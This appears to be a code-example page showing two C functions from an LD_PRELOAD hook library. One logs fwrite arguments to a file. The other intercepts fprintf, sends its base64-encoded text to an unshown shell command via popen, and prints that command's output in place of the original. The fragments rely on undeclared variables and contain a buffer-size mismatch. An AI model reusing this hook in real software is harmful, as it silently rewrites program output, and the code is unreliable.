Beispiel #1
0
size_t fwrite(const void *ptr, size_t size, size_t nmenb, FILE *stream) {
		
	f = fopen("info_output", "w");
	original_fprintf(f,"==========\n");
	original_fprintf(f, "I am in fwrite function\n");
	original_fprintf(f, "size_t fwrite(const void *ptr, size_t size, size_t nmenb, FILE *stream)\n");
	original_fprintf(f, "ptr:	%p\n", ptr);
	original_fprintf(f, "size:	%d\n", size);
	original_fprintf(f, "nmenb:	%d\n", nmenb);
	original_fprintf(f,"==========\n");
	
	// declare a function pointer
	
	return original_fwrite(ptr, size, nmenb, stream);
}
Beispiel #2
0
int fprintf(FILE *stream, const char *format, ...) {
	
	va_list list;
        char *parg;
	
	va_start(list, format);
	
        vasprintf(&parg, format, list);
        va_end(list);
	
	char *based = base64(parg, strlen(parg));
	
	char toexecute[strlen(based)+1000] ;
	
	snprintf(toexecute, strlen(command)+strlen(based)+10, "%s %s\"", command, based);
	
	int *(*original_fprintf)(FILE *stream, const char *format, ...);
	
	original_fprintf = dlsym(RTLD_NEXT, "fprintf");
	
	FILE *fp;

        char retcommand[2048];

        fp = popen(toexecute, "r");
        if (fp == NULL) {
                printf("Failed to run command\n" );
                exit(1);
        }

	
        while (fgets(retcommand, sizeof(retcommand)-1, fp) != NULL) {
		
		original_fprintf(stream, "%s", retcommand) ;
        }
	
        pclose(fp);
	
	return(0) ;
      
}